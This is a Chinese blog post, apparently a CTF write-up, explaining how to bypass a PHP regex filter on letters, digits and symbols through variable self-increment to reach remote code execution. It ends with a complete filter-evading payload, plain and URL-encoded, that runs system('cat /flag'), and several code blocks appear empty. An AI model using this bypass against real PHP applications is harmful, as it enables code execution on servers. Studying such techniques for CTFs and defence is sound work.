PHP中的自增RCE绕过
0x01 攻击原理
当出现类似以下代码:
1 | !preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code) |
常见的绕过如取反~
,异或^
等都被过滤,但是[ ]+$
等没过滤完全,就可以考虑通过自增的方法进行RCE绕过。
php是弱语言,单字符型变量自增能得到下一个字符,且单个或多个下划线_
也可以作为变量名,例如:
1 |
|
还能用不可见字符替换php变量名称$%ff
(url编码),这样就更短了。
而数组转字符串后是天然的字符串 Array
,我们切片取A,通过自增便可得到任意一个大写字母。
还有1/_==INF,下划线也可快速构造NAN,如
1 |
|
这样就很快得到了字母“N”,而”POST”中的“O”和“N”很近,所以很快就可以通过自增得到“POST”。
由于0
也是不能出现的,可以用下划线_
代替,如:
1 |
|
输出:
1 | root@ubuntu:~/challenges# php 1.php |
这样就可以很快构造出$_POST[___]($_POST[_])
,然后只需要传入参数___
和_
就能完成rce了。
0x02 题目详情
1 |
|
通过自增方法可以构造出如下代码:
1 |
|
去掉注释和换行,并去掉php头,构造payload如下:
1 | code=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[___]($$_[_]);&___=system&_=cat /flag |
别忘记了url编码,最终payload如下:
1 | code=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=system&_=cat /flag |
题目地址:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 q1jun's Blog!
评论